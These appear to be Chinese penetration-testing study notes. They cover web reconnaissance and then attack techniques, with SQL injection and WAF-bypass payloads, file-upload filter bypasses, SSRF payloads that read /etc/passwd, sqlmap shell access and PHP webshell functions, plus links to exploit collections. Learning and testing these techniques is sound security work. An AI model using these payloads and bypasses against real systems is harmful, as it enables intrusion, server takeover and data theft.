返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >渗透学习笔记
  • 492
分享到

渗透学习笔记

网络安全web安全sqlphp 2023-09-11 21:09:36 492人浏览 八月长安
摘要

渗透学习笔记 首先给出一个网站,该网站收录了各种红队渗透工具: https://GitHub.com/guchangan1/All-Defense-Tool 信息收集 信息收集需要收集资产的企业备案、

渗透学习笔记

首先给出一个网站,该网站收录了各种红队渗透工具
https://GitHub.com/guchangan1/All-Defense-Tool

信息收集

信息收集需要收集资产的企业备案、域名、IP地址、端口、中间件、CMS、服务器系统、数据库、目录、WAF、泄露

可以使用零零信安对资产进行评估,零零信安能收集资产的信息系统暴露、移动端应用(APP、api小程序、公众号)、敏感目录、邮箱泄露、文档和代码、域名、人员、DWM情报等,功能强大。

资产收集流程

  1. 查询资产的企业备案
  2. 根据备案号查询企业拥有的域名,结合黑暗引擎与OneForAll工具查询这些域名的子域名
  3. 根据域名查询该域名的IP地址,之后能分别进行:
    • 根据IP地址与域名查询开放的端口
    • 使用工具扫描IP地址与域名获得中间件、CMS、服务器系统、数据库、目录、泄露等信息

下面介绍这些信息该如何收集

企业备案

  • 一家公司开设网站需要对网站进行备案,备案号一般在网站的最底部可以查到。根据查到的网站,可以进行查询后得到该公司的其他注册域名,以下网站常用于企业备案查询:

    Https://beian.miit.Gov.cn
  • 若是想得到公司的其他信息,可以到企业查询网站查询,在这些网站里能查到目标公司的网站,电话,负责人等信息,为后面的信息收集与网站渗透提供参考,以下网站常用于企业查询:

    https://aiqicha.baidu.com(爱企查)https://www.qcc.com(企查查)https://www.tianyancha.com(天眼查)

域名

域名能通过DNS来解析回IP,其中域名分为顶级域名,二级域名,三级域名等

​ tieba.baidu.com
​ ↑ ↑ ↑
​ 三级域名.二级域名.顶级域名

对于安全测试的意义:

  • 相同的二级域名的网站架构源码、密码可能相似
  • 两个网站的域名解析的IP地址可能相同

子域名的获取方式有爆破,搜索,js查找,证书查找,DNS搜索,OneForAll搜索

爆破

以下为常用爆破的工具:

子域名挖掘机:百度云链接: https://pan.baidu.com/s/1VQ2HLocs39B72ElysskPog 提取码:121lksubdomain:https://github.com/knownsec/ksubdomain

搜索

搜索主要是使用搜索引擎进行搜索,例如百度谷歌fofahuntershodanzoomeye

在使用黑暗搜索引擎时,经常会出现与目标公司不相关的URL,这时就能通过下载该网站的favicon.ico文件并查看

获得favicon.ico文件方法:

1. 直接在网站网址后面加favicon.ico2. F12或者右键查看网页源代码,然后再网页头部找到 ,链接指向即为favicon.ico的地址3. http://www.google.com/s2/favicons?domain=网站地址

以下为常用的google hack搜索语法

site     指定域名intext   正文中存在关键字的网页intitle  标题中存在关键字的网页info     一些基本信息inurl    URL存在关键字的网页filetype 搜索指定文件类型例子:搜索子域名:site:baidu.com

在线搜索的网站有:

https://rapiddns.io/subdomainhttps://PHPinfo.me/domain/http://whois.chinaz.com/(whois查询)

JS查找

JS查询为使用JSFinder工具通过正则表达式获取URL与子域名。

证书查找

查询HTTPS证书能查询到子域名

https://crt.sh/

DNS搜索

查询DNS能查询到该域下的解析记录,从而有可能获得子域名

https://dnsdb.io/zh-cn/

在kali里可以使用dig命令进行DNS查询,具体用法:

https://blog.csdn.net/weixin_44617541/article/details/124328099

OneForAll搜索

OneForAll工具是集合了各种方法的子域名收集工具,因此功能很强大

https://github.com/shmilylty/OneForAll

IP地址

获得一个网站的真实IP是极其重要的,原因如下:

1. IP能使用NMAP扫描出更多的端口2. 扫描IP地址为扫描网站的上一级文件夹3. 很多网站在其上一级有可能有该网站的源码备份

一个IP地址能分为4个段,如199.87.232.11,这个IP中199是A段,87是B段,232是C段,11是D段

获取一个域名对应的IP需要分析其有没有CDN,判断方法为使用超级ping,若每个地方的IP地址不同,就是有CDN,若无则否

无CDN

CMD里使用ping命令就能获得真实IP

有CDN

  1. 网站的各个子域名可能在1-254区间内,或者不同的网段,因此可以测试区域内不同IP来获取真实IP
  2. 有些网站只对加www的网站加CDN,所以无www的网站有可能为真实IP
  3. 根据备案信息注册的省份来判断域名所在地
  4. 有些网站仅仅在国内有CDN,所以可以使用超级ping来判断真实IP
  5. 有些网站仅仅主站有CDN,而分站没有,所以可以根据分站IP判断真实IP
  6. 可以通过注册账号获取验证码的方式获取目标网站向自己发送的邮件,然后使用foxmail打开查看源码,以此获得真实IP
  7. 使用fofahuntershodanzoomeye搜索指定关键字,以此来获得真实IP
  8. 查询DNS记录来查询真实IP
  9. 使用w8fuckcunfuckcdn工具扫描全网来获得真实IP
  10. 使用微步查询历史记录,有可能查到网站没加CDN之前的IP记录
  11. 使用VPN挂全局代理后ping目标网站
  12. 使用get-site-ip网站查询真实IP,有可能不准确,需要借助以上思路进行判断
  13. 利用网站favicon.ico地址的hash值在shodan搜索,具体参考该链接

端口

端口的范围是从0到65535,其中端口分为3大类:

1. 公认端口:从0-1023,这些端口绑定了一些明确服务的协议2. 注册端口:从1024到49151,这些端口松散绑定一下服务3. 动态端口:从49152到65535,这些端口并不常用

端口收集常使用nmap来进行探测,以下为快速扫描指令:

nmap -sS -Pn -open -T4nmap -sS -Pn -n --open --min-hostgroup 4 --min-parallelism 1024 --host-timeout 30 -T4

nmap具体指令介绍

其他扫描工具有御剑高速tcp端口扫描工具、masscan、Goby

也可以使用在线的方式探测端口:

http://coolaf.com/tool/porthttps://saomiao.bmcx.com/https://tool.chinaz.com/port/www.gdsslxh.org.cn

中间件

中间件为网站搭建平台,是网站的一个框架,常见中间件为iis、apache、TomcatNginx、thinkphp、structs2等

通常使用AlliNGlassEHoledismap等工具进行查看

也可以通过观察网站的后缀进行判断,比如.net.php.asp后缀的网站的中间件一般为IIS

CMS

CMS为一个网站的模板,这个模板已经被设计好,使用前只需要使用者根据自己的需求进行更改,识别CMS能使用特定的攻击方式来进行渗透。

在识别CMS前,可以使用先用7kbscan工具进行扫描,看看是否能扫出源码备份文件或者数据库备份文件。

以下网站能查看ASP,PHP,ASPX,JSP,javaweb 等脚本类型源码安全问题

https://WEBsec.readthedocs.io/zh/latest/language/index.html

以下为识别方法:

  1. 在一些网站的最下面会有CMS的名字

  2. 访问CMS的特定路径查看是否能访问来判断CMS

  3. 使用kali中的whatweb命令进行扫描

  4. 使用浏览器中的wappalyzer插件进行查看

  5. 使用御剑WEB指纹识别系统来进行扫描

  6. 下载网站的ico文件查看(即favicon.ico文件)

  7. 使用AlliNGlassEHoledismap等工具进行查看

  8. 使用在线网站进行查看,如:

    https://www.yunsee.cn/http://whatweb.bugscaner.com/(云悉)

若是以上方法无法找到源码备份原件和CMS,则可以通过Charles工具来描绘网站,该工具能自动对访问的URL进行归类整理,点击的越多,得到网站的全貌就越完整。

服务器系统

常见的服务器系统为windowslinux,获得操作系统的信息可以根据操作系统的特性进行特定的渗透攻击,如对window7可以使用永恒之蓝进行攻击。

以下为分辨的方法:

  1. 为查看网站对大小写是否区分,区分大小写的为linux,不区分大小写的为windows

  2. 根据TTL值判断操作系统,但TTL值可以修改,有可能会误导我们,以下为默认操作系统TTL(TTL可以通过在CMDPING目标网站查看):

    WINDOWS NT/2000             TTL:128WINDOWS 95/98               TTL:32UNIX                        TTL:255LINUX                       TTL:64WIN7                        TTL:64
  3. 使用nmap命令的-O参数来进行探测

数据库

数据库能为网站存储信息,不同的数据库有不同的漏洞,因此得知该网站的数据库是很有必要的,以下为识别方法:

  1. 根据网站的文件来识别:

    asp     access php     Mysql aspx    mssql jsp     mssql,oracle python  mogodb
  2. 通过操作系统来判断数据库,有一些数据库只能在特定操作系统中才能运行,比如window下才有access,sqlserver

  3. 使用nmap指令进行探测端口,根据端口号来判断:

    mysql      3306mssql      1433oracle     1511mongoDB    27017Redis      6379memcached  11211
  4. 通过nmap -O -sV ip地址的方式扫描能获得apache和php和mysql版本

目录

目录作为网站的基本结构之一,能方便浏览者和管理者区分。

通常能用Charles工具dirsearchJSFinder工具御剑目录扫描专业版进行目录扫描

WAF

WAF为WEB应用防护系统,用于隔离外界的非法请求

有些WAF还能作为网站的中间件,如宝塔,phpStudy,inmap等等

识别WAF对于安全测试的意义在于不能对有WAF的网站使用扫描工具扫描

以下为识别WAF的方法:

  1. 使用wafw00f工具进行识别
  2. 利用浏览器抓包识别X-Powered-By

泄露

泄露分为SVN泄露、HG泄露、GIT泄露、VIM缓存泄露、备份文件泄露、PHP备份文件泄露、gedit备份文件泄露

SVN泄露

SVN是源代码版本管理软件。

在使用SVN管理本地代码过程中,会自动生成一个隐藏文件夹,其中包含重要的源代码信息。但一些网站管理员在发布代码时,不愿意使用‘导出’功能,而是直接复制代码文件夹到WEB服务器上,这就使隐藏文件夹被暴露于外网环境,这使得渗透工程师可以借助其中包含版本信息追踪的网站文件,逐步摸清站点结构。

在服务器上布署代码时,如果是使用 svn checkout 功能来更新代码,项目目录下会生成隐藏的.svn文件夹(Linux上用ls命令看不到,要用ls -al命令),若没有配置好目录访问权限,则会存在此漏洞。黑客利用此漏洞,可以下载整套网站的源代码。

svn1.6及以前版本会在项目的每个文件夹下都生成一个.svn文件夹,里面包含了所有文件的备份,文件名为 .svn/text-base/文件名.svn-base。

svn1.7及以后版本则只在项目根目录生成一个.svn文件夹,里面的pristine文件夹里包含了整个项目的所有文件备份。

使用dvcs-ripper工具能对网站扫描SVN

HG泄露

开发人员使用 Mercurial 进行版本控制,对站点自动部署。如果配置不当,可能会将.hg 文件夹直接部署到线上环境。这就引起了 hg 泄露漏洞。

使用dvcs-ripper)工具能对网站扫描HG

vim缓存

  • vim 交换文件名
  • 在使用vim时会创建临时缓存文件,关闭vim时缓存文件则会被删除,当vim异常退出后,因为未处理缓存文件,导致可以通过缓存文件恢复原始文件内容
  • 以 index.php 为例:第一次产生的交换文件名为 .index.php.swp
  • 再次意外退出后,将会产生名为 .index.php.swo 的交换文件
  • 第三次产生的交换文件则为 .index.php.swn

git泄露

当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。

dirsearch工具扫描目录后有可能扫出.git目录,之后使用GitHack工具能获取该文件

备份文件泄露

  • 常见的网站源码备份文件后缀

    tartar.gzziprar
  • 常见的网站源码备份文件名

    webwebsitebackupbackwwwwwwrootTemp
  • 可以使用7kbscan扫描

  • bak是备份文件,为文件格式扩展名。这类文件一般在.bak前面加上应该有原来的扩展名比如windows.dll.bak,或是windows_dll.bak,有的则是由原文件的后缀名和bak混合而成。

  • 常见备份文件后缀:“.git” 、“.svn”、“ .swp” “.~”、“.bak”、“.bash_history”、“.bkf”

  • 访问隐藏文件时前面加"."

PHP备份文件泄露

  • .phps后缀释义: phps文件就是php的源代码文件。
  • 通常用于提供给用户(访问者)查看php代码,因为用户无法直接通过Web浏览器看到php文件的内容,所以需要用phps文件代替

gedit备份文件泄露

在Linux下,用gedit编辑器保存后,当前目录下会生成一个后缀为“ ~ ”的文件,其文件内容就是刚编辑的内容.假设刚才保存的文件名为flag,则该文件名为flag~,见图1-1-7.通过浏览器访问这个带有“ ~ ”的文件,便可以得到源代码。

工具扫描

在得到资产的网站后,可以使用扫描器去扫描网站存在的漏洞

最常用的扫描器有Xrayawvs(该链接迅雷不能下载)、nessus(该链接迅雷不能下载)

漏洞库

https://github.com/binganao/vulns-2022https://github.com/helloexp/0dayhttps://github.com/helloexp/vulhubhttps://github.com/helloexp/CVE-Exploitshttps://github.com/UzJu/0dayhttps://github.com/faisalfs10x/CVE-IDshttps://github.com/YinWC/2021hvv_vulhttps://github.com/dingxiao77/redteam_vulhttps://github.com/BaizeSec/bylibrary/tree/main/docs/%E6%BC%8F%E6%B4%9E%E5%BA%93https://baizesec.github.io/bylibrary/%E6%BC%8F%E6%B4%9E%E5%BA%93/01-CMS%E6%BC%8F%E6%B4%9E/ActiveMQ/ActiveMQ%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E/https://forum.ywhack.com/bountytips.php?Vulnerabilityhttps://github.com/r0eXpeR/supplierhttps://my.oschina.net/u/4354006/blog/3322916https://github.com/projectdiscovery/nuclei-templateshttps://github.com/DawnFlame/POChouse

peiqi漏洞库


渗透攻击

使用信息收集后会得到各种各样的信息,针对不同的信息就会有不一样的渗透攻击,常见的渗透攻击有爆破、SQL注入、文件上传、XSS、CSRF、SSRF、RCE、文件包含、文件下载、目录穿越、逻辑越权、反序列化、XXE、未授权访问、一句话木马、反弹shell,下面会详细介绍这些攻击。

爆破

在信息收集时如果收集到了网站的后台管理网站后,很多网站的管理员为了记忆方便,或者网站刚刚建好还来不及改密码,会使用默认账号密码或者强度很低的密码,若没有WAF的拦截,可以考虑尝试使用弱口令爆破。

弱口令爆破的工具主要有超级弱口令检查工具burpsuite的Intruder模块,Hydra(kali自带)

爆破字典可以用fuzzDicts,另外下面的参数爆破可以用这个字典

SQL注入

对于任意一个输入框,只要满足以下条件就有可能存在SQL注入漏洞:

  • 参数用户可控:前端传给后端的参数内容是用户可以控制的;
  • 参数带入数据库查询:传入的参数拼接到SQL语句中,且带入数据库查询;

SQL注入的分类方式如下:

按变量类型分

  • 数字型
  • 字符型

按HTTP提交方式分

  • GET注入
  • POST注入
  • Cookie注入

按注入方式分

  • 报错注入

  • 盲注

    • 布尔盲注
    • 时间盲注
  • uNIOn注入

SQL注入还能通过工具来进行注入,工具注入主要使用SQLMAP工具,也可以使用椰树V1.9接口修复版。

另外还有堆叠注入、DNS注入、二次注入、宽字节注入、偏移注入等方式,针对WAF还有特殊的绕过方式

攻击流程

  1. 首先使用union注入测试,没有回显就使用盲注或者报错注入
  2. 有回显的话就能使用堆叠注入、DNS注入、二次注入、宽字节注入、偏移注入等注入方式进行测试
  3. 在能注入的前提下,注入流程为依次判断类型,字段数,回显点,依次爆库名,表名,字段名,数据
  4. 若是查询到了账号密码能尝试在网站的各种登录框中进行登录尝试
  5. 使用sqlmap能用--os-shell参数进行getshell

下面将详细介绍这些注入方式。

union注入

  • union注入是联合查询union会一次显示两个查询结果,我们可以使得第一个查询语句作为正常内容,第二个作为查询语句来进行构造。
  • 注入流程为依次判断类型,字段数,回显点,依次爆库名,表名,字段名,数据

报错注入

利用前提:页面上没有显示位,但是需要输出SQL语句执行错误信息。比如mysql_error()
优点:不需要显示位
缺点:需要输出mysql_error()的报错信息

报错型注入则是利用了MySQL的第8652号bug :Bug #8652 group by part of rand() returns duplicate key error来进行的盲注,使得MySQL由于函数的特性返回错误信息,进而我们可以显示我们想要的信息,从而达到注入的效果:在rand()group by同时使用到的时候,可能会产生超出预期的结果,因为会多次对同一列进行查询。

报错注入主要利用的函数是floor()extractvalue()updatexml()

concat区别

concat()

  • 将多个字符串连接成一个字符串
  • 语法:concat(str1, str2,...)

concat_ws()

  • 将多个字符串连接成一个字符串,但是可以一次性指定分隔符
  • 语法:concat_ws(separator, str1, str2, ...)

Group_concat()

  • group by产生的同一个分组中的值连接起来,返回一个字符串结果。
  • 语法:group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc ] [separator '分隔符'] )
floor()
  • floor()报错注入是利用count()rand()floor()group by 这几个特定的函数结合在一起产生的注入漏洞,准确的说是floor,count,group by冲突报错。
    报错原理:利用数据库表主键不能重复的原理,使用GROUP BY分组,产生主键冗余,导致报错。
  • floor向下取整数—如2.5取整数为2
extractvalue()
id=1' and (extractvalue(1,concat(‘~’,(select database())))) --+
updatexml()
  • updatexml()函数与extractvalue()类似,是更新xml文档的函数。
  • 语法updatexml(目标xml文档,xml路径,更新的内容)
id=1' and updatexml(1,concat('~',(select database()),'~'),3)--+

布尔盲注

布尔盲注一般适用于页面没有回显字段(不支持联合查询),且web页面返回True 或者 false,构造SQL语句,利用and,or等关键字来其后的语句 true 、 false使web页面返回true或者false,从而达到注入的目的来获取信息

时间盲注

时间型的注入遇到的条件更为苛刻,数据交互完成以后目标网站没有错误和正确的页面回显,这种情况我们可以利用时间函数来判断数据有没有在目标数据中得到执行。当然也需要构造闭合。

堆叠注入

堆叠注入是一堆 sql 语句(多条)一起执行,例如以下这个例子。
用户输入DELETE FROM products
服务器端生成的sql语句为: Select * from products where productid=1;DELETE FROM products
当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

具体可以查看该文章

DNS注入

DNS注入是对存储在DNS服务器上解析留下的日志进行注入,具体例子看该文章

二次注入

二次注入是指利用已经上传的数据,再次进入查询语句后,形成的恶意查询语句进行注入

例如在注册页面,插入了相关的恶意语句,假如注册用户名是1' union select 1,user()#

这样的话,在再次构建SQL语句后台会回显这样的数据。

执行语句:select * from users where admin='1' union select 1,user();

返回数据库用户名称。

宽字节注入

  • 在使用PHP连接MySQL的时候,当设置set character_set_client = gbk时会导致一个编码转换的问题,也就是我们熟悉的宽字节注入,当存在宽字节注入的时候,注入参数里带入%DF%27,即可把(%5C)合并掉,举个例子。
http://www.nicai.com/index.php?id=1
  • 当提交?id=1' and 1=1%23时,MySQL运行的SQL语句为

    select * from user where id ='1\' and 1=1#'
  • 很明显这是没有注入成功的,而当我们提交id=1%DF' and 1=1%23时,MySQL运行的SQL语句就变为了

    select * from user where id ='1運' and 1=1#'
  • 我们这里的宽字节注入是利用MySQL的一个特性,MySQL在使用GBK编码的时候,由于GBK是多字节编码,会认为两个字节代表一个汉字(前一个ASCII码要大于128,才到汉字的范围),所以%DF和后面的\也就是%5c中变成了一个汉字“運”,从而使单引号逃逸了出来

偏移注入

偏移注入是一种注入姿势,可以根据一个较多字段的表对一个少字段的表进行偏移注入,一般是联合查询,在页面有回显点的情况下

使用场景:

  • 在SQL注入的时候会遇到一些无法查询列名的问题,比如系统自带数据库的权限不够而无法访问系统自带库。
  • 当猜到表名无法猜到字段名的情况下,我们可以使用偏移注入来查询那张表里面的数据。
  • 像Sqlmap之类的工具实际上是爆破字段的名字,但是如果字段名称比较奇葩,就无可奈何了

注入原理:

  1. 联合查询payload:union select 1,2,3,4,5,6,7,8 from admin
  2. 在我们不知道admin有多少字段的情况下可以尝试payload:union select 1,2,3,4,5,6,7,admin.* from admin,此时页面出错
  3. 直到payload:union select 1,2,3,4,5,admin.* from admin时页面返回正常,说明admin表有三个字段
  4. 然后通过移动admin.*的位置,就可以回显不同的数据

注入流程可以看该文章

WAF绕过

绕过方式有注释符、内联注释、编码、空格绕过、or and xor not 绕过、双写绕过、大小写变种、等号=绕过,下面详细介绍

注释符

当过滤器阻止各种空白符常见关键词过滤时,可使用注释进行绕过

-- “注释内容”;//----+#:%00/!*注释内容*/
内联注释

内联注释能把一些特有的仅在MYSQL上的语句放在 /!../ 中,这样这些语句如果在其它数据库中是不会被执行,但在MYSQL的特定版本(与注释内描述的版本有关)中会执行。

select * from cms_users where userid=1 union */\*!5000 select\*unionselectpasswordfromuserswhereusernamelike'admin'#%252f%252a*/union%252f%252a*/select%252f%252a*/password%252f%252a*/from%252f%252a*/users%252f%252a*/where%252f%252a*/username%252f%252a*/like%252f%252a*/'admin'#或ex\u0065c => execascii编码Test 等价于CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)16进制select * from users where username = test1;select * from users where username = 0x7465737431;unicode编码对部分符号的绕过单引号=> %u0037 %u02b9空格=> %u0020 %uff00左括号=> %u0028 %uff08右括号=> %u0029 %uff09
空格绕过

一般绕过空格过滤的方法有以下几种方法来取代空格

()回车(url编码中的%0a)`(tab键上面的按钮)tab
or and xor not 绕过
or = ||and = &&xor = | 或者 ^ # 异或,例如Select * from cms_users where userid=1^sleep(5);not = !
双写绕过

在某一些简单的waf中,会将关键字select等使用replace()函数置换为空。当关键词被过滤时可以采用双写的方式,在经过waf的处理之后又变成select,达到绕过的要求。

and写成ananddselect写成seleselectct
大小写变种

当关键词被过滤时,可尝试变换大小写进行绕过。

UniOn SeleCt
等号=绕过

不加通配符的like执行的效果和 = 一致,所以可以用来绕过。

  1. 正常加上通配符的like:

    Select * from cms_users where username like "ad%"; 
  2. 不加上通配符的like可以用来取代=:

    Select * from cms_users where username like "admin"; 
  3. regexp:MySQL中使用 REGEXP 操作符来进行正则表达式匹配

    Select * from cms_users where username REGEXP "admin"; 
  4. 使用大小号来绕过

    Select * from cms_users where userid>0 and userid<2; 
  5. <> 等价于 != ,所以在前面再加一个 ! 结果就是等号了

    Select * from cms_users where !(username <> "admin");

文件上传

当收集到一个网站能让使用者进行文件上传时,就有可能存在文件上传漏洞

文件上传漏洞能让攻击者上传木马从而控制网站服务器,属于高危漏洞

文件上传不能简单通过修改后缀来攻击,因为浏览器无法识别后缀为jpg的文件

文件上传绕过分为前端绕过、服务端绕过、解析漏洞绕过、WAF绕过

前端绕过

前端验证为javascript检测,通常为检测文件后缀。

绕过方式只需要先上传正确后缀的文件后,用burpsuite抓包后修改为原本木马的后缀就能绕过

由于太过于简单绕过,所以一般网站都不会设置前端验证

服务端绕过

服务端绕过方式有很多种,下面详细介绍

后缀名

后缀名的验证,分为黑名单(asp,PHP,jsp,aspx,cgi,war…)和白名单(jpg,png,zip,rar,gif…)。

  • 黑名单是不允许那些格式的文件上传,缺陷:添加文件的后缀,如PHP5等;
  • 白名单是只允许那些格式的文件上传,相对来说安全一些。

针对黑名单绕过:

  1. 大小写,如Php

  2. 双写后缀,如phphpp

  3. 后缀名末尾加空格【 】(Linux服务器不支持)

  4. 后缀名末尾加点【.】(Linux服务器不支持)

  5. 后缀名末尾加::$DATA(Linux服务器不支持)

  6. %00截断(Linux服务器不支持)

    例如1.php%00.jpg

MIME 信息

MIME 信息是指content-Type的内容,不同文件类型所对应的值也不同,如GIF文件对应:image/gif,如果检测的是mime,可以通过修改来绕过验证。

.htaccess
  1. .htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。

  2. 该文件提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。

  3. 作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。

  4. 该绕过方式只有Apache中间件有,作用是实现文件解析的自定义

  5. .htaccess文件的内容为

    AddType application/x-httpd-php .png 

    .png为自定义绕过后缀

文件头

文件头是指文件头部,在木马里的头部添加白名单中的文件头能实现绕过

JPG:FF D8 FF E0 00 10 4A 46 49 46GIF :47 49 46 38 39 61 (GIF89a)PNG:89 50 4E 47
图片马

服务器对上传的文件的全部内容进行检测,例如若上传的文件不是完整的图片,就会上传失败

因此,我们可以在一个完整的图像中添加木马代码就能实现绕过

木马运行有可能需要配合解析漏洞

条件竞争

有些网站会对上传后的文件进行二次操作,如修改文件名

但是,在服务器进行修改前,有一瞬间是没有修改的

这时就能通过window的特性(已经访问了的文件修改不了文件名)来实现绕过

通常需要利用脚本不断请求才能成功

解析漏洞绕过

中间件解析文件时可能会存在解析漏洞,利用解析漏洞就能修改木马文件的后缀实现绕过

IIS5.x/6.0解析漏洞

如果目录名以".asp.asa.cer.cdx"字符串结尾,那么这个目录下所有的文件都会按照 asp 去解析。例如: “test.asp/1.jpg”就会解析asp代码。

IIS7.0/IIS7.5/Nginx<8.03解析漏洞

对任意文件名只要在URL后面追加上字符串"/任意文件名.php",就会按照 php 的方式去解析
例如,我上传一个图片木马22.png 直接访问url为 www.haha.com/upload/22.png 图片可以查看但是代码解析不出来,这时候我们只要在url后面加上www.haha.com/upload/22.png/33.php就可以执行代码。

Nginx <8.03 空字节代码执行漏洞

使用%00截断,如对一个图片马使用:xxx.jpg%00.php

Apache解析漏洞

apache解析后缀是从右往左解析,若解析的域名不可识别,则继续往左判断

因此就可以设置文件为:xxx.php.csg,csg后缀apache无法识别,因此就会识别后面的php

WAF绕过

  1. 寻找黑名单之外的扩展名

  2. 构造畸形的数据包

    删掉content-type

    构造多个filename

  3. 数据溢出-防匹配(xxx…)

    填充垃圾数据
  4. 符号变异-防匹配(’ " ;)

    去掉一个双引号,没有闭合安全狗会误以为是程序自带;意味着符号后面还有语句要执行,如果不执行的话,最后的语句为空。因此:filename="a.jpg;.php "
  5. 数据截断-防匹配(%00 ;换行;/)

    %00后面的内容被截断,如:2.php%00.jpg(%00要解码)换行为\n,如2.php变成2.p\nh\np ,就可以绕过安全狗的匹配一般为注释符号,安全狗将//的内容注释
  6. 重复数据-防匹配(参数多次)

    重复传参,用前面的参数欺骗安全狗检验,最后传递最后的参数参数过滤只有一次,可以用.pphphp来绕过验证,这里也是用前面的参数来绕过验证借助白名单技术,在匹配的时候,发现filename的字符串为前面的数据,安全狗误以为:2.php 没有传递个filename参数,从而绕过。

XSS

XSS为前端漏洞,攻击者通过往WEB页面插入恶意Script代码后,当用户浏览网站时能触发,达到攻击的目的

XSS测试的范围是每一个输入框,URL中的所有参数,也就是说任何一个与服务器有交互的参数都可以测试CSS

XSS攻击在红队渗透中可以用来盗取用户的cookie,尤其是管理员登录平台的cookie

攻击流程为首先找一个xss平台,在上面生成攻击代码,然后上传到目标网站上,等待管理员通过浏览器浏览服务器数据(如果能不用xss平台是最好的,因为平台管理员也能得到我们攻击得到的cookie,有泄露的风险)

XSS有三种类型,分别为反射型、存储型、dom型,下面会介绍这三种方式

反射型

反射型不是一种持久化攻击,通常为攻击者制作好攻击链接,然后欺骗用户点击从而达到攻击的目的

存储型

存储型是持久化攻击,攻击者会将攻击代码上传到目标网站的服务器里,当网站调用数据到前端网站时有可能会运行攻击代码,从而达到攻击的目的

dom型

  • dom型是基于文档对象模型Document Objeet Model,DOM)的一种漏洞。
  • DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。
  • DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等。
  • 客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞。
  • 一般是浏览器前端代码进行处理。

三种方式的执行流程

  • 反射型:发包x=baidu=>x.php=>回包
  • 存储型:发包x=baidu=>x.php=>写到数据库某个表=>x.php=>回显
  • dom型:发包x=baidu=>本地静态浏览器前端源代码(直接前端处理)

CSRF

  • Cross-site request forgery 简称为“CSRF”
  • 在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了
  • 攻击的链接的攻击目的通常把用户的信息修改为我们想修改的信息
  • 攻击成功的前提是用户打开了网站,并且当前的cookie或session并未失效

SSRF

  • Server Side Request Forgery简称为“SSRF”
  • 攻击者在未能取得服务器所有权限时,利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。
  • SSRF攻击通常针对外部网络无法直接访问的内部系统。
  • SSRF可以对外网、服务器所在内网、本地进行端口扫描,攻击运行在内网或本地的应用,或者利用File协议读取本地文件

漏洞产生区域

  1. url 地址分享文章,如http://share.xxx.com/index.php?url=http://127.0.0.1
  2. URL地址加载或下载图片,如http://image.xxx.com/image.php?image=http://127.0.0.1
  3. URL地址图片、文章收藏,如http://title.xxx.com/title?title=http://title.xxx.com/as52ps63De
  4. URL把原网站内容转化为适合当前情况浏览的网站,如转手机网页
  5. URL翻译对应文本内容,如百度翻译
  6. 参数关键字
    • share
    • wap
    • url
    • link
    • src
    • source
    • target
    • u
    • 3g
    • display
    • sourceURl
    • imageURL
    • domain
  7. 漏洞函数
    • file_get_contents(),作用:将整个文件读入一个字符串
    • fsockopen(),作用:通过套接字连接实现对用户指定URL数据的获取
    • curl_exec(),作用:改函数初始化一个新的会话,返回一个cURL句柄

攻击方式

  • file:用于访问本地计算机的文件,如http://share.xxx.com/index.php?url=file:///etc/passwd

  • http:用于探测内网存活,可以对目标主机的内网网段并进行爆破,如http://192.168.91.1

    使用前要想办法得到目标主机的网络配置信息,如读取/etc/hosts/proc/net/arp/proc/net/fib_trie等文件

  • dict:用于探测或扫描内网端口,如dict://127.0.0.1:8080/info

  • ftp:用于探测目标主机是否存在ftp,如ftp://127.0.0.1:21

  • gopher:用于对内网进行信息查找,攻击格式为gopher://IP:port/_TCP/IP数据流,攻击过程看该文章

  • 若是遇到IP过滤,可以改写IP,例如192.168.0.1:

    8进制格式:0300.0250.0.1 16进制格式:0xC0.0xA8.0.1 10进制整数格式:3232235521 16进制整数格式:0xC0A80001 合并后两位:1.1.278 / 1.1.755 合并后三位:1.278 / 1.755 / 3.141592670.0.0.0这个IP可以直接访问到本地,也通常被正则过滤遗漏

RCE

RCE漏洞可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

RCE漏洞在没有网站源码的情况下极其难以发现

发掘RCE漏洞方式:

  1. 代码审计挖掘

  2. 参数爆破获得,参数爆破可以用Hydra工具

  3. 使用对应中间件扫描工具进行扫描,如:

    • Struts2使用Struts2 全版本漏洞检测工具扫描

    • Thinkphp使用ThinkphpGUI 2020HackinGClub线下典藏版扫描

RCE漏洞分为代码执行和命令执行,下面详细介绍

代码执行

PHP中有些函数具有将字符串作为代码执行的功能,如果这些函数控制的不严格,就能被攻击者用来执行恶意代码

常见的代码执行函数:

  1. eval函数

    eval函数把字符串作为PHP代码执行

    eval(string $code)

    一句话木马

     
  2. assert函数

    assert函数会检查指定的assertion一个断言是否为FALSE,在结果为FALSE时采取适当的行动,如果assertion是字符串,他会被assert函数当做PHP代码执行

    bool assert(mixed $assertion[,Throwable $exception])

    一句话木马

     
  3. call_user_func函数

    第一个参数callback是被调用的回调函数 其余参数是回调函数用的参数

    mixed call_user_func(callable $callback[,mixed $parameter[,mined $parameter...]])

    一句话木马:

    通过POST型fun参数调用system函数,通过POST型arg参数传入id命令,执行了system('id')返回当前用户信息

  4. call_user_func_arrey函数

    把第一个参数作为回调函数调用,把参数数组作为回调函数的参数调用

    mixed call_user_func_arrey(callable $callback,array $param_arr)

    一句话木马:

